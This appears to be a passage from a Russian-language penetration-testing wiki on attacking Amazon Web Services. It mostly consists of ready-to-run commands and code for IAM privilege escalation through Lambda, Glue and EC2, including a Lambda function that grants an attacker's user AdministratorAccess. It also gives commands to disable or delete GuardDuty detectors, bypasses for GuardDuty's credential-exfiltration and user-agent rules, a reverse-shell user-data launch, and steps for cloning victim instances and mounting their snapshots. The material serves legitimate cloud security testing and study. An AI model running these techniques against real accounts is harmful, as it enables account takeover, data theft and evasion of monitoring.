&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
